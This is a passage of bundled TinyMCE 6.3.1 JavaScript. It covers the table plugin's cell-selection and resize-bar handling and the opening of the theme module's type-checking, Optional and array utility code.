          if (isLeftButtonPressed(e) && hasInternalTarget(e)) {
            mouseHandlers.mouseover(fromRawEvent(e));
          }
        };
        const mouseUp = e => {
          if (isLeftMouse(e) && hasInternalTarget(e)) {
            mouseHandlers.mouseup(fromRawEvent(e));
          }
        };
        const getDoubleTap = () => {
          const lastTarget = Cell(SugarElement.fromDom(body));
          const lastTimeStamp = Cell(0);
          const touchEnd = t => {
            const target = SugarElement.fromDom(t.target);
            if (isTag('td')(target) || isTag('th')(target)) {
              const lT = lastTarget.get();
              const lTS = lastTimeStamp.get();
              if (eq$1(lT, target) && t.timeStamp - lTS < 300) {
                t.preventDefault();
                external$1(target, target);
              }
            }
            lastTarget.set(target);
            lastTimeStamp.set(t.timeStamp);
          };
          return { touchEnd };
        };
        const doubleTap = getDoubleTap();
        editor.on('dragstart', dragStart);
        editor.on('mousedown', mouseDown);
        editor.on('mouseover', mouseOver);
        editor.on('mouseup', mouseUp);
        editor.on('touchend', doubleTap.touchEnd);
        editor.on('keyup', keyup);
        editor.on('keydown', keydown);
        editor.on('NodeChange', syncSelection);
      });
      editor.on('PreInit', () => {
        editor.serializer.addTempAttr(ephemera.firstSelected);
        editor.serializer.addTempAttr(ephemera.lastSelected);
      });
      const clearSelectedCells = container => annotations.clear(SugarElement.fromDom(container));
      const getSelectedCells = () => fold(cellSelection.get(), constant([]), cells => {
        return map$1(cells, cell => cell.dom);
      }, cell => [cell.dom]);
      return {
        getSelectedCells,
        clearSelectedCells
      };
    };

    const Event = fields => {
      let handlers = [];
      const bind = handler => {
        if (handler === undefined) {
          throw new Error('Event bind error: undefined handler');
        }
        handlers.push(handler);
      };
      const unbind = handler => {
        handlers = filter$2(handlers, h => {
          return h !== handler;
        });
      };
      const trigger = (...args) => {
        const event = {};
        each$2(fields, (name, i) => {
          event[name] = args[i];
        });
        each$2(handlers, handler => {
          handler(event);
        });
      };
      return {
        bind,
        unbind,
        trigger
      };
    };

    const create$1 = typeDefs => {
      const registry = map(typeDefs, event => {
        return {
          bind: event.bind,
          unbind: event.unbind
        };
      });
      const trigger = map(typeDefs, event => {
        return event.trigger;
      });
      return {
        registry,
        trigger
      };
    };

    const last = (fn, rate) => {
      let timer = null;
      const cancel = () => {
        if (!isNull(timer)) {
          clearTimeout(timer);
          timer = null;
        }
      };
      const throttle = (...args) => {
        cancel();
        timer = setTimeout(() => {
          timer = null;
          fn.apply(null, args);
        }, rate);
      };
      return {
        cancel,
        throttle
      };
    };

    const sort = arr => {
      return arr.slice(0).sort();
    };
    const reqMessage = (required, keys) => {
      throw new Error('All required keys (' + sort(required).join(', ') + ') were not specified. Specified keys were: ' + sort(keys).join(', ') + '.');
    };
    const unsuppMessage = unsupported => {
      throw new Error('Unsupported keys for object: ' + sort(unsupported).join(', '));
    };
    const validateStrArr = (label, array) => {
      if (!isArray(array)) {
        throw new Error('The ' + label + ' fields must be an array. Was: ' + array + '.');
      }
      each$2(array, a => {
        if (!isString(a)) {
          throw new Error('The value ' + a + ' in the ' + label + ' fields was not a string.');
        }
      });
    };
    const invalidTypeMessage = (incorrect, type) => {
      throw new Error('All values need to be of type: ' + type + '. Keys (' + sort(incorrect).join(', ') + ') were not.');
    };
    const checkDupes = everything => {
      const sorted = sort(everything);
      const dupe = find$1(sorted, (s, i) => {
        return i < sorted.length - 1 && s === sorted[i + 1];
      });
      dupe.each(d => {
        throw new Error('The field: ' + d + ' occurs more than once in the combined fields: [' + sorted.join(', ') + '].');
      });
    };

    const base = (handleUnsupported, required) => {
      return baseWith(handleUnsupported, required, {
        validate: isFunction,
        label: 'function'
      });
    };
    const baseWith = (handleUnsupported, required, pred) => {
      if (required.length === 0) {
        throw new Error('You must specify at least one required field.');
      }
      validateStrArr('required', required);
      checkDupes(required);
      return obj => {
        const keys$1 = keys(obj);
        const allReqd = forall(required, req => {
          return contains$2(keys$1, req);
        });
        if (!allReqd) {
          reqMessage(required, keys$1);
        }
        handleUnsupported(required, keys$1);
        const invalidKeys = filter$2(required, key => {
          return !pred.validate(obj[key], key);
        });
        if (invalidKeys.length > 0) {
          invalidTypeMessage(invalidKeys, pred.label);
        }
        return obj;
      };
    };
    const handleExact = (required, keys) => {
      const unsupported = filter$2(keys, key => {
        return !contains$2(required, key);
      });
      if (unsupported.length > 0) {
        unsuppMessage(unsupported);
      }
    };
    const exactly = required => base(handleExact, required);

    const DragMode = exactly([
      'compare',
      'extract',
      'mutate',
      'sink'
    ]);
    const DragSink = exactly([
      'element',
      'start',
      'stop',
      'destroy'
    ]);
    const DragApi = exactly([
      'forceDrop',
      'drop',
      'move',
      'delayDrop'
    ]);

    const InDrag = () => {
      let previous = Optional.none();
      const reset = () => {
        previous = Optional.none();
      };
      const update = (mode, nu) => {
        const result = previous.map(old => {
          return mode.compare(old, nu);
        });
        previous = Optional.some(nu);
        return result;
      };
      const onEvent = (event, mode) => {
        const dataOption = mode.extract(event);
        dataOption.each(data => {
          const offset = update(mode, data);
          offset.each(d => {
            events.trigger.move(d);
          });
        });
      };
      const events = create$1({ move: Event(['info']) });
      return {
        onEvent,
        reset,
        events: events.registry
      };
    };

    const NoDrag = () => {
      const events = create$1({ move: Event(['info']) });
      return {
        onEvent: noop,
        reset: noop,
        events: events.registry
      };
    };

    const Movement = () => {
      const noDragState = NoDrag();
      const inDragState = InDrag();
      let dragState = noDragState;
      const on = () => {
        dragState.reset();
        dragState = inDragState;
      };
      const off = () => {
        dragState.reset();
        dragState = noDragState;
      };
      const onEvent = (event, mode) => {
        dragState.onEvent(event, mode);
      };
      const isOn = () => {
        return dragState === inDragState;
      };
      return {
        on,
        off,
        isOn,
        onEvent,
        events: inDragState.events
      };
    };

    const setup = (mutation, mode, settings) => {
      let active = false;
      const events = create$1({
        start: Event([]),
        stop: Event([])
      });
      const movement = Movement();
      const drop = () => {
        sink.stop();
        if (movement.isOn()) {
          movement.off();
          events.trigger.stop();
        }
      };
      const throttledDrop = last(drop, 200);
      const go = parent => {
        sink.start(parent);
        movement.on();
        events.trigger.start();
      };
      const mousemove = event => {
        throttledDrop.cancel();
        movement.onEvent(event, mode);
      };
      movement.events.move.bind(event => {
        mode.mutate(mutation, event.info);
      });
      const on = () => {
        active = true;
      };
      const off = () => {
        active = false;
      };
      const runIfActive = f => {
        return (...args) => {
          if (active) {
            f.apply(null, args);
          }
        };
      };
      const sink = mode.sink(DragApi({
        forceDrop: drop,
        drop: runIfActive(drop),
        move: runIfActive(mousemove),
        delayDrop: runIfActive(throttledDrop.throttle)
      }), settings);
      const destroy = () => {
        sink.destroy();
      };
      return {
        element: sink.element,
        go,
        on,
        off,
        destroy,
        events: events.registry
      };
    };

    const css = namespace => {
      const dashNamespace = namespace.replace(/\./g, '-');
      const resolve = str => {
        return dashNamespace + '-' + str;
      };
      return { resolve };
    };

    const styles$1 = css('ephox-dragster');
    const resolve$1 = styles$1.resolve;

    const Blocker = options => {
      const settings = {
        layerClass: resolve$1('blocker'),
        ...options
      };
      const div = SugarElement.fromTag('div');
      set$2(div, 'role', 'presentation');
      setAll(div, {
        position: 'fixed',
        left: '0px',
        top: '0px',
        width: '100%',
        height: '100%'
      });
      add(div, resolve$1('blocker'));
      add(div, settings.layerClass);
      const element = constant(div);
      const destroy = () => {
        remove$6(div);
      };
      return {
        element,
        destroy
      };
    };

    const compare = (old, nu) => {
      return SugarPosition(nu.left - old.left, nu.top - old.top);
    };
    const extract = event => {
      return Optional.some(SugarPosition(event.x, event.y));
    };
    const mutate = (mutation, info) => {
      mutation.mutate(info.left, info.top);
    };
    const sink = (dragApi, settings) => {
      const blocker = Blocker(settings);
      const mdown = bind(blocker.element(), 'mousedown', dragApi.forceDrop);
      const mup = bind(blocker.element(), 'mouseup', dragApi.drop);
      const mmove = bind(blocker.element(), 'mousemove', dragApi.move);
      const mout = bind(blocker.element(), 'mouseout', dragApi.delayDrop);
      const destroy = () => {
        blocker.destroy();
        mup.unbind();
        mmove.unbind();
        mout.unbind();
        mdown.unbind();
      };
      const start = parent => {
        append$1(parent, blocker.element());
      };
      const stop = () => {
        remove$6(blocker.element());
      };
      return DragSink({
        element: blocker.element,
        start,
        stop,
        destroy
      });
    };
    var MouseDrag = DragMode({
      compare,
      extract,
      sink,
      mutate
    });

    const transform = (mutation, settings = {}) => {
      var _a;
      const mode = (_a = settings.mode) !== null && _a !== void 0 ? _a : MouseDrag;
      return setup(mutation, mode, settings);
    };

    const styles = css('ephox-snooker');
    const resolve = styles.resolve;

    const Mutation = () => {
      const events = create$1({
        drag: Event([
          'xDelta',
          'yDelta'
        ])
      });
      const mutate = (x, y) => {
        events.trigger.drag(x, y);
      };
      return {
        mutate,
        events: events.registry
      };
    };

    const BarMutation = () => {
      const events = create$1({
        drag: Event([
          'xDelta',
          'yDelta',
          'target'
        ])
      });
      let target = Optional.none();
      const delegate = Mutation();
      delegate.events.drag.bind(event => {
        target.each(t => {
          events.trigger.drag(event.xDelta, event.yDelta, t);
        });
      });
      const assign = t => {
        target = Optional.some(t);
      };
      const get = () => {
        return target;
      };
      return {
        assign,
        get,
        mutate: delegate.mutate,
        events: events.registry
      };
    };

    const col = (column, x, y, w, h) => {
      const bar = SugarElement.fromTag('div');
      setAll(bar, {
        position: 'absolute',
        left: x - w / 2 + 'px',
        top: y + 'px',
        height: h + 'px',
        width: w + 'px'
      });
      setAll$1(bar, {
        'data-column': column,
        'role': 'presentation'
      });
      return bar;
    };
    const row = (r, x, y, w, h) => {
      const bar = SugarElement.fromTag('div');
      setAll(bar, {
        position: 'absolute',
        left: x + 'px',
        top: y - h / 2 + 'px',
        height: h + 'px',
        width: w + 'px'
      });
      setAll$1(bar, {
        'data-row': r,
        'role': 'presentation'
      });
      return bar;
    };

    const resizeBar = resolve('resizer-bar');
    const resizeRowBar = resolve('resizer-rows');
    const resizeColBar = resolve('resizer-cols');
    const BAR_THICKNESS = 7;
    const resizableRows = (warehouse, isResizable) => bind$2(warehouse.all, (row, i) => isResizable(row.element) ? [i] : []);
    const resizableColumns = (warehouse, isResizable) => {
      const resizableCols = [];
      range$1(warehouse.grid.columns, index => {
        const colElmOpt = Warehouse.getColumnAt(warehouse, index).map(col => col.element);
        if (colElmOpt.forall(isResizable)) {
          resizableCols.push(index);
        }
      });
      return filter$2(resizableCols, colIndex => {
        const columnCells = Warehouse.filterItems(warehouse, cell => cell.column === colIndex);
        return forall(columnCells, cell => isResizable(cell.element));
      });
    };
    const destroy = wire => {
      const previous = descendants(wire.parent(), '.' + resizeBar);
      each$2(previous, remove$6);
    };
    const drawBar = (wire, positions, create) => {
      const origin = wire.origin();
      each$2(positions, cpOption => {
        cpOption.each(cp => {
          const bar = create(origin, cp);
          add(bar, resizeBar);
          append$1(wire.parent(), bar);
        });
      });
    };
    const refreshCol = (wire, colPositions, position, tableHeight) => {
      drawBar(wire, colPositions, (origin, cp) => {
        const colBar = col(cp.col, cp.x - origin.left, position.top - origin.top, BAR_THICKNESS, tableHeight);
        add(colBar, resizeColBar);
        return colBar;
      });
    };
    const refreshRow = (wire, rowPositions, position, tableWidth) => {
      drawBar(wire, rowPositions, (origin, cp) => {
        const rowBar = row(cp.row, position.left - origin.left, cp.y - origin.top, tableWidth, BAR_THICKNESS);
        add(rowBar, resizeRowBar);
        return rowBar;
      });
    };
    const refreshGrid = (warhouse, wire, table, rows, cols) => {
      const position = absolute(table);
      const isResizable = wire.isResizable;
      const rowPositions = rows.length > 0 ? height.positions(rows, table) : [];
      const resizableRowBars = rowPositions.length > 0 ? resizableRows(warhouse, isResizable) : [];
      const resizableRowPositions = filter$2(rowPositions, (_pos, i) => exists(resizableRowBars, barIndex => i === barIndex));
      refreshRow(wire, resizableRowPositions, position, getOuter$2(table));
      const colPositions = cols.length > 0 ? width.positions(cols, table) : [];
      const resizableColBars = colPositions.length > 0 ? resizableColumns(warhouse, isResizable) : [];
      const resizableColPositions = filter$2(colPositions, (_pos, i) => exists(resizableColBars, barIndex => i === barIndex));
      refreshCol(wire, resizableColPositions, position, getOuter$1(table));
    };
    const refresh = (wire, table) => {
      destroy(wire);
      if (wire.isResizable(table)) {
        const warehouse = Warehouse.fromTable(table);
        const rows$1 = rows(warehouse);
        const cols = columns(warehouse);
        refreshGrid(warehouse, wire, table, rows$1, cols);
      }
    };
    const each = (wire, f) => {
      const bars = descendants(wire.parent(), '.' + resizeBar);
      each$2(bars, f);
    };
    const hide = wire => {
      each(wire, bar => {
        set$1(bar, 'display', 'none');
      });
    };
    const show = wire => {
      each(wire, bar => {
        set$1(bar, 'display', 'block');
      });
    };
    const isRowBar = element => {
      return has(element, resizeRowBar);
    };
    const isColBar = element => {
      return has(element, resizeColBar);
    };

    const resizeBarDragging = resolve('resizer-bar-dragging');
    const BarManager = wire => {
      const mutation = BarMutation();
      const resizing = transform(mutation, {});
      let hoverTable = Optional.none();
      const getResizer = (element, type) => {
        return Optional.from(get$b(element, type));
      };
      mutation.events.drag.bind(event => {
        getResizer(event.target, 'data-row').each(_dataRow => {
          const currentRow = getCssValue(event.target, 'top');
          set$1(event.target, 'top', currentRow + event.yDelta + 'px');
        });
        getResizer(event.target, 'data-column').each(_dataCol => {
          const currentCol = getCssValue(event.target, 'left');
          set$1(event.target, 'left', currentCol + event.xDelta + 'px');
        });
      });
      const getDelta = (target, dir) => {
        const newX = getCssValue(target, dir);
        const oldX = getAttrValue(target, 'data-initial-' + dir, 0);
        return newX - oldX;
      };
      resizing.events.stop.bind(() => {
        mutation.get().each(target => {
          hoverTable.each(table => {
            getResizer(target, 'data-row').each(row => {
              const delta = getDelta(target, 'top');
              remove$7(target, 'data-initial-top');
              events.trigger.adjustHeight(table, delta, parseInt(row, 10));
            });
            getResizer(target, 'data-column').each(column => {
              const delta = getDelta(target, 'left');
              remove$7(target, 'data-initial-left');
              events.trigger.adjustWidth(table, delta, parseInt(column, 10));
            });
            refresh(wire, table);
          });
        });
      });
      const handler = (target, dir) => {
        events.trigger.startAdjust();
        mutation.assign(target);
        set$2(target, 'data-initial-' + dir, getCssValue(target, dir));
        add(target, resizeBarDragging);
        set$1(target, 'opacity', '0.2');
        resizing.go(wire.parent());
      };
      const mousedown = bind(wire.parent(), 'mousedown', event => {
        if (isRowBar(event.target)) {
          handler(event.target, 'top');
        }
        if (isColBar(event.target)) {
          handler(event.target, 'left');
        }
      });
      const isRoot = e => {
        return eq$1(e, wire.view());
      };
      const findClosestEditableTable = target => closest$1(target, 'table', isRoot).filter(isEditable$1);
      const mouseover = bind(wire.view(), 'mouseover', event => {
        findClosestEditableTable(event.target).fold(() => {
          if (inBody(event.target)) {
            destroy(wire);
          }
        }, table => {
          hoverTable = Optional.some(table);
          refresh(wire, table);
        });
      });
      const destroy$1 = () => {
        mousedown.unbind();
        mouseover.unbind();
        resizing.destroy();
        destroy(wire);
      };
      const refresh$1 = tbl => {
        refresh(wire, tbl);
      };
      const events = create$1({
        adjustHeight: Event([
          'table',
          'delta',
          'row'
        ]),
        adjustWidth: Event([
          'table',
          'delta',
          'column'
        ]),
        startAdjust: Event([])
      });
      return {
        destroy: destroy$1,
        refresh: refresh$1,
        on: resizing.on,
        off: resizing.off,
        hideBars: curry(hide, wire),
        showBars: curry(show, wire),
        events: events.registry
      };
    };

    const create = (wire, resizing, lazySizing) => {
      const hdirection = height;
      const vdirection = width;
      const manager = BarManager(wire);
      const events = create$1({
        beforeResize: Event([
          'table',
          'type'
        ]),
        afterResize: Event([
          'table',
          'type'
        ]),
        startDrag: Event([])
      });
      manager.events.adjustHeight.bind(event => {
        const table = event.table;
        events.trigger.beforeResize(table, 'row');
        const delta = hdirection.delta(event.delta, table);
        adjustHeight(table, delta, event.row, hdirection);
        events.trigger.afterResize(table, 'row');
      });
      manager.events.startAdjust.bind(_event => {
        events.trigger.startDrag();
      });
      manager.events.adjustWidth.bind(event => {
        const table = event.table;
        events.trigger.beforeResize(table, 'col');
        const delta = vdirection.delta(event.delta, table);
        const tableSize = lazySizing(table);
        adjustWidth(table, delta, event.column, resizing, tableSize);
        events.trigger.afterResize(table, 'col');
      });
      return {
        on: manager.on,
        off: manager.off,
        refreshBars: manager.refresh,
        hideBars: manager.hideBars,
        showBars: manager.showBars,
        destroy: manager.destroy,
        events: events.registry
      };
    };
    const TableResize = { create };

    const only = (element, isResizable) => {
      const parent = isDocument(element) ? documentElement(element) : element;
      return {
        parent: constant(parent),
        view: constant(element),
        origin: constant(SugarPosition(0, 0)),
        isResizable
      };
    };
    const detached = (editable, chrome, isResizable) => {
      const origin = () => absolute(chrome);
      return {
        parent: constant(chrome),
        view: constant(editable),
        origin,
        isResizable
      };
    };
    const body = (editable, chrome, isResizable) => {
      return {
        parent: constant(chrome),
        view: constant(editable),
        origin: constant(SugarPosition(0, 0)),
        isResizable
      };
    };
    const ResizeWire = {
      only,
      detached,
      body
    };

    const createContainer = () => {
      const container = SugarElement.fromTag('div');
      setAll(container, {
        position: 'static',
        height: '0',
        width: '0',
        padding: '0',
        margin: '0',
        border: '0'
      });
      append$1(body$1(), container);
      return container;
    };
    const get = (editor, isResizable) => {
      return editor.inline ? ResizeWire.body(SugarElement.fromDom(editor.getBody()), createContainer(), isResizable) : ResizeWire.only(SugarElement.fromDom(editor.getDoc()), isResizable);
    };
    const remove = (editor, wire) => {
      if (editor.inline) {
        remove$6(wire.parent());
      }
    };

    const isTable = node => isNonNullable(node) && node.nodeName === 'TABLE';
    const barResizerPrefix = 'bar-';
    const isResizable = elm => get$b(elm, 'data-mce-resize') !== 'false';
    const syncPixels = table => {
      const warehouse = Warehouse.fromTable(table);
      if (!Warehouse.hasColumns(warehouse)) {
        each$2(cells$1(table), cell => {
          const computedWidth = get$a(cell, 'width');
          set$1(cell, 'width', computedWidth);
          remove$7(cell, 'width');
        });
      }
    };
    const TableResizeHandler = editor => {
      const selectionRng = value();
      const tableResize = value();
      const resizeWire = value();
      let startW;
      let startRawW;
      const lazySizing = table => get$5(editor, table);
      const lazyResizingBehaviour = () => isPreserveTableColumnResizing(editor) ? preserveTable() : resizeTable();
      const getNumColumns = table => getGridSize(table).columns;
      const afterCornerResize = (table, origin, width) => {
        const isRightEdgeResize = endsWith(origin, 'e');
        if (startRawW === '') {
          convertToPercentSize(table);
        }
        if (width !== startW && startRawW !== '') {
          set$1(table, 'width', startRawW);
          const resizing = lazyResizingBehaviour();
          const tableSize = lazySizing(table);
          const col = isPreserveTableColumnResizing(editor) || isRightEdgeResize ? getNumColumns(table) - 1 : 0;
          adjustWidth(table, width - startW, col, resizing, tableSize);
        } else if (isPercentage$1(startRawW)) {
          const percentW = parseFloat(startRawW.replace('%', ''));
          const targetPercentW = width * percentW / startW;
          set$1(table, 'width', targetPercentW + '%');
        }
        if (isPixel(startRawW)) {
          syncPixels(table);
        }
      };
      const destroy = () => {
        tableResize.on(sz => {
          sz.destroy();
        });
        resizeWire.on(w => {
          remove(editor, w);
        });
      };
      editor.on('init', () => {
        const rawWire = get(editor, isResizable);
        resizeWire.set(rawWire);
        if (hasTableObjectResizing(editor) && hasTableResizeBars(editor)) {
          const resizing = lazyResizingBehaviour();
          const sz = TableResize.create(rawWire, resizing, lazySizing);
          sz.on();
          sz.events.startDrag.bind(_event => {
            selectionRng.set(editor.selection.getRng());
          });
          sz.events.beforeResize.bind(event => {
            const rawTable = event.table.dom;
            fireObjectResizeStart(editor, rawTable, getPixelWidth(rawTable), getPixelHeight(rawTable), barResizerPrefix + event.type);
          });
          sz.events.afterResize.bind(event => {
            const table = event.table;
            const rawTable = table.dom;
            removeDataStyle(table);
            selectionRng.on(rng => {
              editor.selection.setRng(rng);
              editor.focus();
            });
            fireObjectResized(editor, rawTable, getPixelWidth(rawTable), getPixelHeight(rawTable), barResizerPrefix + event.type);
            editor.undoManager.add();
          });
          tableResize.set(sz);
        }
      });
      editor.on('ObjectResizeStart', e => {
        const targetElm = e.target;
        if (isTable(targetElm)) {
          const table = SugarElement.fromDom(targetElm);
          each$2(editor.dom.select('.mce-clonedresizable'), clone => {
            editor.dom.addClass(clone, 'mce-' + getTableColumnResizingBehaviour(editor) + '-columns');
          });
          if (!isPixelSizing(table) && isTablePixelsForced(editor)) {
            convertToPixelSize(table);
          } else if (!isPercentSizing(table) && isTablePercentagesForced(editor)) {
            convertToPercentSize(table);
          }
          if (isNoneSizing(table) && startsWith(e.origin, barResizerPrefix)) {
            convertToPercentSize(table);
          }
          startW = e.width;
          startRawW = isTableResponsiveForced(editor) ? '' : getRawWidth(editor, targetElm).getOr('');
        }
      });
      editor.on('ObjectResized', e => {
        const targetElm = e.target;
        if (isTable(targetElm)) {
          const table = SugarElement.fromDom(targetElm);
          const origin = e.origin;
          if (startsWith(origin, 'corner-')) {
            afterCornerResize(table, origin, e.width);
          }
          removeDataStyle(table);
          fireTableModified(editor, table.dom, styleModified);
        }
      });
      editor.on('SwitchMode', () => {
        tableResize.on(resize => {
          if (editor.mode.isReadOnly()) {
            resize.hideBars();
          } else {
            resize.showBars();
          }
        });
      });
      editor.on('remove', () => {
        destroy();
      });
      const refresh = table => {
        tableResize.on(resize => resize.refreshBars(SugarElement.fromDom(table)));
      };
      const hide = () => {
        tableResize.on(resize => resize.hideBars());
      };
      const show = () => {
        tableResize.on(resize => resize.showBars());
      };
      return {
        refresh,
        hide,
        show
      };
    };

    const setupTable = editor => {
      register(editor);
      const resizeHandler = TableResizeHandler(editor);
      const cellSelectionHandler = TableCellSelectionHandler(editor, resizeHandler);
      const actions = TableActions(editor, resizeHandler, cellSelectionHandler);
      registerCommands(editor, actions);
      registerQueryCommands(editor, actions);
      registerEvents(editor, actions);
      return {
        getSelectedCells: cellSelectionHandler.getSelectedCells,
        clearSelectedCells: cellSelectionHandler.clearSelectedCells
      };
    };

    const DomModel = editor => {
      const table = setupTable(editor);
      return { table };
    };
    var Model = () => {
      global$1.add('dom', DomModel);
    };

    Model();

})();


/***/ }),
/* 5 */
/***/ (() => {

/**
 * TinyMCE version 6.3.1 (2022-12-06)
 */

(function () {
    'use strict';

    const getPrototypeOf$2 = Object.getPrototypeOf;
    const hasProto = (v, constructor, predicate) => {
      var _a;
      if (predicate(v, constructor.prototype)) {
        return true;
      } else {
        return ((_a = v.constructor) === null || _a === void 0 ? void 0 : _a.name) === constructor.name;
      }
    };
    const typeOf = x => {
      const t = typeof x;
      if (x === null) {
        return 'null';
      } else if (t === 'object' && Array.isArray(x)) {
        return 'array';
      } else if (t === 'object' && hasProto(x, String, (o, proto) => proto.isPrototypeOf(o))) {
        return 'string';
      } else {
        return t;
      }
    };
    const isType$1 = type => value => typeOf(value) === type;
    const isSimpleType = type => value => typeof value === type;
    const eq$1 = t => a => t === a;
    const is$2 = (value, constructor) => isObject(value) && hasProto(value, constructor, (o, proto) => getPrototypeOf$2(o) === proto);
    const isString = isType$1('string');
    const isObject = isType$1('object');
    const isPlainObject = value => is$2(value, Object);
    const isArray = isType$1('array');
    const isNull = eq$1(null);
    const isBoolean = isSimpleType('boolean');
    const isUndefined = eq$1(undefined);
    const isNullable = a => a === null || a === undefined;
    const isNonNullable = a => !isNullable(a);
    const isFunction = isSimpleType('function');
    const isNumber = isSimpleType('number');
    const isArrayOf = (value, pred) => {
      if (isArray(value)) {
        for (let i = 0, len = value.length; i < len; ++i) {
          if (!pred(value[i])) {
            return false;
          }
        }
        return true;
      }
      return false;
    };

    const noop = () => {
    };
    const noarg = f => () => f();
    const compose = (fa, fb) => {
      return (...args) => {
        return fa(fb.apply(null, args));
      };
    };
    const compose1 = (fbc, fab) => a => fbc(fab(a));
    const constant$1 = value => {
      return () => {
        return value;
      };
    };
    const identity = x => {
      return x;
    };
    const tripleEquals = (a, b) => {
      return a === b;
    };
    function curry(fn, ...initialArgs) {
      return (...restArgs) => {
        const all = initialArgs.concat(restArgs);
        return fn.apply(null, all);
      };
    }
    const not = f => t => !f(t);
    const die = msg => {
      return () => {
        throw new Error(msg);
      };
    };
    const apply$1 = f => {
      return f();
    };
    const never = constant$1(false);
    const always = constant$1(true);

    var global$a = tinymce.util.Tools.resolve('tinymce.ThemeManager');

    class Optional {
      constructor(tag, value) {
        this.tag = tag;
        this.value = value;
      }
      static some(value) {
        return new Optional(true, value);
      }
      static none() {
        return Optional.singletonNone;
      }
      fold(onNone, onSome) {
        if (this.tag) {
          return onSome(this.value);
        } else {
          return onNone();
        }
      }
      isSome() {
        return this.tag;
      }
      isNone() {
        return !this.tag;
      }
      map(mapper) {
        if (this.tag) {
          return Optional.some(mapper(this.value));
        } else {
          return Optional.none();
        }
      }
      bind(binder) {
        if (this.tag) {
          return binder(this.value);
        } else {
          return Optional.none();
        }
      }
      exists(predicate) {
        return this.tag && predicate(this.value);
      }
      forall(predicate) {
        return !this.tag || predicate(this.value);
      }
      filter(predicate) {
        if (!this.tag || predicate(this.value)) {
          return this;
        } else {
          return Optional.none();
        }
      }
      getOr(replacement) {
        return this.tag ? this.value : replacement;
      }
      or(replacement) {
        return this.tag ? this : replacement;
      }
      getOrThunk(thunk) {
        return this.tag ? this.value : thunk();
      }
      orThunk(thunk) {
        return this.tag ? this : thunk();
      }
      getOrDie(message) {
        if (!this.tag) {
          throw new Error(message !== null && message !== void 0 ? message : 'Called getOrDie on None');
        } else {
          return this.value;
        }
      }
      static from(value) {
        return isNonNullable(value) ? Optional.some(value) : Optional.none();
      }
      getOrNull() {
        return this.tag ? this.value : null;
      }
      getOrUndefined() {
        return this.value;
      }
      each(worker) {
        if (this.tag) {
          worker(this.value);
        }
      }
      toArray() {
        return this.tag ? [this.value] : [];
      }
      toString() {
        return this.tag ? `some(${ this.value })` : 'none()';
      }
    }
    Optional.singletonNone = new Optional(false);

    const nativeSlice = Array.prototype.slice;
    const nativeIndexOf = Array.prototype.indexOf;
    const nativePush = Array.prototype.push;
    const rawIndexOf = (ts, t) => nativeIndexOf.call(ts, t);
    const indexOf = (xs, x) => {
      const r = rawIndexOf(xs, x);
      return r === -1 ? Optional.none() : Optional.some(r);
    };
    const contains$2 = (xs, x) => rawIndexOf(xs, x) > -1;
    const exists = (xs, pred) => {
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        if (pred(x, i)) {
          return true;
        }
      }
      return false;
    };
    const range$2 = (num, f) => {
      const r = [];
      for (let i = 0; i < num; i++) {
        r.push(f(i));
      }
      return r;
    };
    const chunk$1 = (array, size) => {
      const r = [];
      for (let i = 0; i < array.length; i += size) {
        const s = nativeSlice.call(array, i, i + size);
        r.push(s);
      }
      return r;
    };
    const map$2 = (xs, f) => {
      const len = xs.length;
      const r = new Array(len);
      for (let i = 0; i < len; i++) {
        const x = xs[i];
        r[i] = f(x, i);
      }
      return r;
    };
    const each$1 = (xs, f) => {
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        f(x, i);
      }
    };
    const eachr = (xs, f) => {
      for (let i = xs.length - 1; i >= 0; i--) {
        const x = xs[i];
        f(x, i);
      }
    };
    const partition$3 = (xs, pred) => {
      const pass = [];
      const fail = [];
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        const arr = pred(x, i) ? pass : fail;
        arr.push(x);
      }
      return {
        pass,
        fail
      };
    };
    const filter$2 = (xs, pred) => {
      const r = [];
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        if (pred(x, i)) {
          r.push(x);
        }
      }
      return r;
    };
    const foldr = (xs, f, acc) => {
      eachr(xs, (x, i) => {
        acc = f(acc, x, i);
      });
      return acc;
    };
    const foldl = (xs, f, acc) => {
      each$1(xs, (x, i) => {
        acc = f(acc, x, i);
      });
      return acc;
    };
    const findUntil = (xs, pred, until) => {
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        if (pred(x, i)) {
          return Optional.some(x);
        } else if (until(x, i)) {
          break;
        }
      }
      return Optional.none();
    };
    const find$5 = (xs, pred) => {
      return findUntil(xs, pred, never);
    };
    const findIndex$1 = (xs, pred) => {
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        if (pred(x, i)) {
          return Optional.some(i);
        }
      }
      return Optional.none();
    };
    const flatten = xs => {
      const r = [];
      for (let i = 0, len = xs.length; i < len; ++i) {
        if (!isArray(xs[i])) {
          throw new Error('Arr.flatten item ' + i + ' was not an array, input: ' + xs);
        }
        nativePush.apply(r, xs[i]);
      }
      return r;
    };
    const bind$3 = (xs, f) => flatten(map$2(xs, f));
    const forall = (xs, pred) => {
      for (let i = 0, len = xs.length; i < len; ++i) {
        const x = xs[i];
        if (pred(x, i) !== true) {
          return false;
        }
      }
      return true;
    };
    const reverse = xs => {
      const r = nativeSlice.call(xs, 0);
      r.reverse();
      return r;
    };
    const difference = (a1, a2) => filter$2(a1, x => !contains$2(a2, x));
    const mapToObject = (xs, f) => {
      const r = {};
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        r[String(x)] = f(x, i);
      }
      return r;
    };
    const pure$2 = x => [x];
    const sort = (xs, comparator) => {
      const copy = nativeSlice.call(xs, 0);
      copy.sort(comparator);
      return copy;
    };
    const get$h = (xs, i) => i >= 0 && i < xs.length ? Optional.some(xs[i]) : Optional.none();
    const head = xs => get$h(xs, 0);
    const last$1 = xs => get$h(xs, xs.length - 1);
    const from = isFunction(Array.from) ? Array.from : x => nativeSlice.call(x);
    const findMap = (arr, f) => {
      for (let i = 0; i < arr.length; i++) {
        const r = f(arr[i], i);
        if (r.isSome()) {
          return r;
        }
      }
      return Optional.none();
    };

    const keys = Object.keys;
    const hasOwnProperty$1 = Object.hasOwnProperty;
    const each = (obj, f) => {
      const props = keys(obj);
      for (let k = 0, len = props.length; k < len; k++) {
        const i = props[k];
        const x = obj[i];
        f(x, i);
      }
    };
    const map$1 = (obj, f) => {
      return tupleMap(obj, (x, i) => ({
        k: i,
        v: f(x, i)
      }));
    };
    const tupleMap = (obj, f) => {
